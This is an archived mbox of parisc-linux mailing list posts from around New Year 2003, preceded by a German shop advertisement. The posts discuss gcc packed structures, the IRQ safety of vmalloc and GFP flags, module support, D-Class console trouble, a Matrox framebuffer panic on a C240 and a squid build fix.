Xref: news.gmane.org gmane.linux.ports.parisc:17227

Ein gutes und erfolgreiches Jahr wuenscht ihnen X-PCs=2Ede !!!

Fur alle Schnappchen-Jager :
##############################################
# X-PCs gibt ab 20=2E01=2E03  10% Rabatt auf alle Rechner  #
##############################################

Fur alle Gewinner:
##############################################
# X-PCs=2Ede und PC-Broken=2Ede veranstalten vom 24=2E01   #
# bis zum 24=2E02 das Happy New Year Gewinnspiel mit  #
# Preisen im Wert von 30=2E000 ? !!   -Viel Glueck                #
##############################################


www=2EX-PCs=2Ede
www=2EPC-Broken=2Ede
www=2Eringadinga=2Ede
www=2Enova-artworks=2Ede




From - Thu Nov 08 21:26:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] misaligned data
Date: Tue, 31 Dec 2002 16:50:05 -0500 (EST)
Lines: 24
Approved: news@gmane.org
Message-ID: <200212312150.gBVLo5Up007500@hiauly1.hia.nrc.ca>
References: <20021230071541.GI30857@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622062 19283 80.91.229.3 (22 Nov 2014 02:07:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:42 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: grundler@dsl2.external.hp.com (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 31 14:50:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id A5E75482C
	for <parisc-linux@parisc-linux.org>; Tue, 31 Dec 2002 14:50:13 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gBVLo6ot007501;
	Tue, 31 Dec 2002 16:50:06 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gBVLo5Up007500;
	Tue, 31 Dec 2002 16:50:05 -0500 (EST)
In-Reply-To: <20021230071541.GI30857@dsl2.external.hp.com> from "Grant Grundler" at Dec 30, 2002 00:15:41 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17228

> > I'd wonder more about the packed attribute on sctp_init_chunk_t and
> > sctp_inithdr_t.
> 
> I think that's the problem.

I am not aware of any specific code in the backend related to the
handling of packed structures.  So, this is likely a generic problem,
maybe on big endian machines.

> > What version of gcc?
> 
> In reflecting on it a bit more, I'm pretty sure I tried gcc-3.2
> and came to the same result.
> ("gcc version 3.2.2 20021212 (Debian prerelease)")

There are some fixes in the passing of small structs in 3.3 (less
than 8 bytes).  This affects varargs and library functions that
pass small structs by value.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Russell King <rmk@arm.linux.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] "vmalloc", friends and GFP flags
Followup-To: gmane.linux.kernel
Date: Wed, 1 Jan 2003 21:49:33 +0000
Lines: 110
Approved: news@gmane.org
Message-ID: <20030101214933.A26434__16167.791610542$1416622062$gmane$org@flint.arm.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622062 19288 80.91.229.3 (22 Nov 2014 02:07:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:42 +0000 (UTC)
Cc: linux-xfs@oss.sgi.com, parisc-linux@parisc-linux.org
To: linux-kernel@vger.kernel.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan  1 14:49:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from caramon.arm.linux.org.uk (caramon.arm.linux.org.uk [212.18.232.186])
	by dsl2.external.hp.com (Postfix) with ESMTP id 05DF5482B
	for <parisc-linux@parisc-linux.org>; Wed,  1 Jan 2003 14:49:49 -0700 (MST)
Original-Received: from flint.arm.linux.org.uk ([3ffe:8260:2002:1:201:2ff:fe14:8fad])
	by caramon.arm.linux.org.uk with asmtp (TLSv1:DES-CBC3-SHA:168)
	(Exim 4.04)
	id 18Tqk2-0004SJ-00; Wed, 01 Jan 2003 21:49:34 +0000
Original-Received: from rmk by flint.arm.linux.org.uk with local (Exim 4.04)
	id 18Tqk1-0002BU-00; Wed, 01 Jan 2003 21:49:33 +0000
Mail-Followup-To: linux-kernel@vger.kernel.org,
	linux-xfs@oss.sgi.com, parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17229

Hi,

This mail is being copied to the XFS and PARISC mailing lists.  You should
probably trim the reply list as appropriate.

I've just been looking over the state of the ARM {dma,pci}_alloc_consistent
wrt interrupts etc in 2.5.53, and decided to have a look around this area
for other users.  I stumbled across the following unsafe areas.

a) parisc.  Looking at pa11_dma_alloc_consistent:

   pa11_dma_alloc_consistent
	-> map_uncached_pages
		-> (eventually) map_pmd_uncached
			-> pte_alloc_kernel
				-> pte_alloc_one_kernel

	static inline pte_t *
	pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr)
	{
	        pte_t *pte = (pte_t *) __get_free_page(GFP_KERNEL);
        	if (likely(pte != NULL))
	                clear_page(pte);
        	return pte;
	}

   End result is that if pa11_dma_alloc_consistent() is called from
   IRQ context, parisc calls __get_free_page using GFP_KERNEL.
   Calling __get_free_page with GFP_KERNEL from IRQ context appears
   to be unsafe (always has been.)

b) xfs. XFS contains this bit of code:

	static __inline unsigned int flag_convert(int flags)
	{
		...
	        if (flags & KM_NOSLEEP)
        	        return GFP_ATOMIC;
	        /* If we're in a transaction, FS activity is not ok */
        	else if ((current->flags & PF_FSTRANS) || (flags & KM_NOFS))
	                return GFP_NOFS;
        	else
	                return GFP_KERNEL;
	}

	void *kmem_alloc(size_t size, int flags)
	{
		...
                rval = __vmalloc(size, flag_convert(flags), PAGE_KERNEL);
		...
	}

   Ok, so xfs can pass GFP_ATOMIC, GFP_NOFS and GFP_KERNEL to __vmalloc.
   However, do these flags actually ensure what they suggest they do?

   Lets look at __vmalloc:

	void *__vmalloc(unsigned long size, int gfp_mask, pgprot_t prot)
	{
		...
        	area = get_vm_area(size, VM_ALLOC);
		...
	}

   and get_vm_area:

	struct vm_struct *get_vm_area(unsigned long size, unsigned long flags)
	{
		...
        	area = kmalloc(sizeof(*area), GFP_KERNEL);
		...
	}

   Also, look at the PMD and PTE allocation functions, which also use
   GFP_KERNEL.

   Answer to the above question: no.  Is this unsafe?  Probably.

Now, what does this all have to do with ARM and pci_alloc_consistent.
It's the same problem, only I have a BUG_ON() in there to catch uses
from IRQ context, which needs to disappear eventually.  (This is
mainly a requirement for USB to work.)

However, before this can happen, I believe I'd need the following:

1. allocation of vm areas (via get_vm_area and friends) needs to become
   IRQ-safe.

   - vmlist_lock needs to become IRQ safe (but its held during vread/vwrite)
   - kmalloc of vm_structs needs to have gfp flags passed in

2. allocation of page tables (via pmd_alloc_kernel / pte_alloc_kernel)
   needs to become IRQ-safe.

   - pmd_alloc_kernel / pte_alloc_kernel needs to have gfp flags passed in
   - map_vm_area would also need gfp flags

The same solution also fixes the two instances described above.

I suspect, however, that the vmlist_lock change will be unacceptable
to many people however.  This doesn't affect XFS nor parisc, but would
mean that I'd need to completely rewrite the ARM consistent memory
allocation to use none of the above (which I think is the right
approach, but means _all_ of the above becomes S.E.P. 8))

-- 
Russell King (rmk@arm.linux.org.uk)                The developer of ARM Linux
             http://www.arm.linux.org.uk/personal/aboutme.html



From - Thu Nov 08 21:26:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: "vmalloc", friends and GFP flags
Date: Wed, 01 Jan 2003 16:57:51 -0600
Lines: 22
Approved: news@gmane.org
Message-ID: <200301012257.h01Mvpq03439__30579.9680333168$1416622062$gmane$org@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622062 19291 80.91.229.3 (22 Nov 2014 02:07:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, linux-kernel@vger.kernel.org
To: rmk@arm.linux.org.uk
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan  1 15:58:13 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pogo.mtv1.steeleye.com (host194.steeleye.com [66.206.164.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id 90942482B
	for <parisc-linux@lists.parisc-linux.org>; Wed,  1 Jan 2003 15:58:12 -0700 (MST)
Original-Received: (from root@localhost)
	by pogo.mtv1.steeleye.com (8.9.3/8.9.3) id OAA13348
	for <parisc-linux@lists.parisc-linux.org>; Wed, 1 Jan 2003 14:57:57 -0800
Original-Received: from localhost.localdomain (sshppp-200.mtv1.steeleye.com [172.16.1.200])
	by pogo.mtv1.steeleye.com (8.9.3/8.9.3) with ESMTP id OAA13164;
	Wed, 1 Jan 2003 14:57:53 -0800
Original-Received: from mulgrave (jejb@localhost)
	by localhost.localdomain (8.11.6/linuxconf) with ESMTP id h01Mvpq03439;
	Wed, 1 Jan 2003 16:57:52 -0600
X-Mailer: exmh version 2.4 06/23/2000 with nmh-1.0.4
X-AntiVirus: scanned for viruses by AMaViS 0.2.1 (http://amavis.org/)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17230

> I've just been looking over the state of the ARM {dma,pci}_alloc_consis
> tent wrt interrupts etc in 2.5.53, and decided to have a look around
> this area for other users.  I stumbled across the following unsafe
> areas.

> a) parisc.  Looking at pa11_dma_alloc_consistent:

I agree with the flow analysis.  However, there is a condition attached to 
getting from pte_alloc_kernel to pte_alloc_one_kernel which makes the 
GFP_KERNEL allocation.  That condition looks to be that the pmd is not 
present.  I don't believe that's possible for an area of memory we just got 
from __get_free_pages (otherwise the kernel could fault when accessing that 
region which isn't allowed).

If the above analysis is correct (which I'll defer to better opinion) then we 
can in practice never get down the problem path, and dma_ allocation from 
interrupt is safe on parisc.

James




From - Thu Nov 08 21:26:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] modules and 2.5.5X
Date: Thu, 2 Jan 2003 01:11:47 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <200301020111.48011.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622062 19295 80.91.229.3 (22 Nov 2014 02:07:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:42 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan  1 17:12:21 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.65.60])
	by dsl2.external.hp.com (Postfix) with SMTP id C8922482B
	for <parisc-linux@parisc-linux.org>; Wed,  1 Jan 2003 17:12:20 -0700 (MST)
Original-Received: (qmail 29240 invoked by uid 0); 2 Jan 2003 00:12:13 -0000
Original-Received: from pd9040e4b.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.14.75)
  by mail.gmx.net (mp010-rz3) with SMTP; 2 Jan 2003 00:12:13 -0000
User-Agent: KMail/1.6
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17231

Hi all,

kernel module support for the 2.5 kernel on hppa seems broken due to some missing 
support for this architecture in the new modutils and module-init-tools debian packages.

Maybe someone with somewhat more expirience than me with the ELF file format and 
runtime symbol relocation functions could look into this ? 

Thanks,
Helge


From - Thu Nov 08 21:26:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Herb Radford <herbr@magma.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] D370
Date: Wed, 01 Jan 2003 12:05:52 -0500
Lines: 14
Approved: news@gmane.org
Message-ID: <5.1.0.14.0.20030101115323.03a100e0@mail.magma.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416622063 19300 80.91.229.3 (22 Nov 2014 02:07:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:43 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan  1 18:16:42 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.istop.com (ns.istop.com [66.11.168.199])
	by dsl2.external.hp.com (Postfix) with ESMTP id 33685482B
	for <parisc-linux@lists.parisc-linux.org>; Wed,  1 Jan 2003 18:16:42 -0700 (MST)
Original-Received: from old@istop.magma.ca (unknown [66.11.173.13])
	by ns.istop.com (Postfix) with ESMTP id EA8AC17022
	for <parisc-linux@lists.parisc-linux.org>; Wed,  1 Jan 2003 20:16:35 -0500 (EST)
X-Sender: herbr@mail.magma.ca
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17232

Has there been any change in the support for the D-Class machines with an 
Access Port card?
I'm not sure I understand what's happening when the AP card is inserted. If 
I boot into the PDC I get the console on Serial 1. If I boot with my 
console plugged into the AP card serial port I get nada! When I plug my 
console into Serial 2 I also get zip!
If I boot with the console in Serial 1, output stops at the famous 
"branching to" message.

Must the AP card be removed for useful o[peration?

Regards, Herb



From - Thu Nov 08 21:26:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] "vmalloc", friends and GFP flags
Date: Wed, 1 Jan 2003 23:00:30 -0700
Lines: 11
Approved: news@gmane.org
Message-ID: <20030102060030.GA14071__43984.2651052915$1416622063$gmane$org@dsl2.external.hp.com>
References: <20030101214933.A26434@flint.arm.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622063 19302 80.91.229.3 (22 Nov 2014 02:07:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:43 +0000 (UTC)
To: linux-kernel@vger.kernel.org, parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan  1 23:00:30 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 2D0EE482B; Wed,  1 Jan 2003 23:00:30 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20030101214933.A26434@flint.arm.linux.org.uk>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17233

On Wed, Jan 01, 2003 at 09:49:33PM +0000, Russell King wrote:
> a) parisc.  Looking at pa11_dma_alloc_consistent:

If James is wrong and it's un-safe to call dma_alloc_consistent() on
the interrupt path, I'm only slightly worried since I've only seen
dma_alloc_consistent() get called during driver initialization.
DMA-mapping.txt does not restrict what context "driver initialization"
might take place in.

grant


From - Thu Nov 08 21:26:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: p2@mind.be (Peter 'p2' De Schrijver)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Matrox Millenium II in C240
Date: Thu, 2 Jan 2003 13:38:56 +0100
Lines: 59
Approved: news@gmane.org
Message-ID: <20030102123856.GD871@portablue.intern.mind.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="fUYQa+Pmc3FrFX/N"
X-Trace: ger.gmane.org 1416622063 19304 80.91.229.3 (22 Nov 2014 02:07:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:43 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan  2 05:39:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from portablue.intern.mind.be (pD9E0CFC0.dip.t-dialin.net [217.224.207.192])
	by dsl2.external.hp.com (Postfix) with ESMTP id 607C1482B
	for <parisc-linux@lists.parisc-linux.org>; Thu,  2 Jan 2003 05:39:10 -0700 (MST)
Original-Received: by portablue.intern.mind.be (Postfix, from userid 505)
	id 4F8F26C615; Thu,  2 Jan 2003 13:38:57 +0100 (CET)
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-Answer: 42
X-Operating-system: Debian GNU/Linux
X-Message-Flag: Get yourself a real email client. http://www.mutt.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17234

--fUYQa+Pmc3FrFX/N
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hi,

I installed a matrox millenium 2 in my C240 box and try to get the
framebuffer device for it to work under linux. Unfortunately I get a
kernel panic at the first access to mmio space of the card. The card
resides in a 32bit PCI slot (it's a 5V only card, so it has to). I get
the impression there is something wrong with the resource assignment of
the card. Unfortunately I'm stuck at this point, since I don't have a
clear view on how all the busses in this system are interconnected and
which bus address translations are happening. Is this somewhere
documented ? Has anyone before succeeded in accessing mmio space of PCI
card attached to the 32bit PCI bus of the C240 ?

Thanks,

Peter.

--fUYQa+Pmc3FrFX/N
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename=lspci-output

00:01.0 VGA compatible controller: Matrox Graphics, Inc. MGA 2164W [Millennium II] (prog-if 00 [VGA])
	Subsystem: Matrox Graphics, Inc.: Unknown device 2003
	Flags: medium devsel, IRQ 97
	Memory at f9000000 (32-bit, prefetchable) [size=16M]
	Memory at f3ffc000 (32-bit, non-prefetchable) [size=16K]
	Memory at f2800000 (32-bit, non-prefetchable) [size=8M]
	Expansion ROM at f3f80000 [disabled] [size=64K]

00:13.0 SCSI storage controller: LSI Logic / Symbios Logic (formerly NCR) 53c875 (rev 04)
	Flags: bus master, medium devsel, latency 255, IRQ 99
	I/O ports at fe00 [size=256]
	Memory at f3ff9000 (32-bit, non-prefetchable) [size=256]
	Memory at f3ffa000 (32-bit, non-prefetchable) [size=4K]

00:14.0 Ethernet controller: Digital Equipment Corporation DECchip 21142/43 (rev 41)
	Subsystem: Hewlett-Packard Company: Unknown device 104f
	Flags: bus master, medium devsel, latency 255, IRQ 96
	I/O ports at ff00 [size=128]
	Memory at f3ffb000 (32-bit, non-prefetchable) [size=1K]
	Expansion ROM at f3f80000 [disabled] [size=256K]

01:02.0 Ethernet controller: Netgear GA620 (rev 01)
	Subsystem: Netgear: Unknown device 0001
	Flags: fast Back2Back, 66Mhz, medium devsel, IRQ 130
	Memory at f1ffc000 (32-bit, non-prefetchable) [disabled] [size=16K]

01:04.0 Display controller: Hewlett-Packard Company: Unknown device 1008 (rev 02)
	Flags: 66Mhz, medium devsel, IRQ 128
	Memory at f6000000 (64-bit, non-prefetchable) [size=32M]
	Expansion ROM at f1c00000 [disabled] [size=2M]


--fUYQa+Pmc3FrFX/N--


From - Thu Nov 08 21:26:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] squid-2.xx dpkg failled to fork on pl (follow up)
Date: Thu, 2 Jan 2003 18:04:01 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <3DED9BF500003DF9@ocpmta8.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622064 19310 80.91.229.3 (22 Nov 2014 02:07:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:44 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan  2 10:04:24 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id CEDDE4829
	for <parisc-linux@parisc-linux.org>; Thu,  2 Jan 2003 10:04:23 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18U8lQ-00040G-00
	for <parisc-linux@parisc-linux.org>; Thu, 02 Jan 2003 18:04:12 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Thu, 2 Jan 2003 17:04:01 +0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17235

Hi all,

This small mail to mentionned that I reach to make squid operational on
a linux-2.4.20-pa17 thanks to the following tips:

in debian rules replace statement
    ac_cv_func_setresuid=3Dno \
by 
    ac_cv_func_setresuid=3Dyes \

so that function leave_suid() [into src/tools.c] will use setresuid() in
place of seteuid() before launch fork(). 

Is it a know problem on palinux?

Greetings,
    Joel


********************************************
Promo Tiscali ADSL: 35 Euros/mois, 1er mois et activation =3D 0 Euro http=
://adsl.tiscali.be





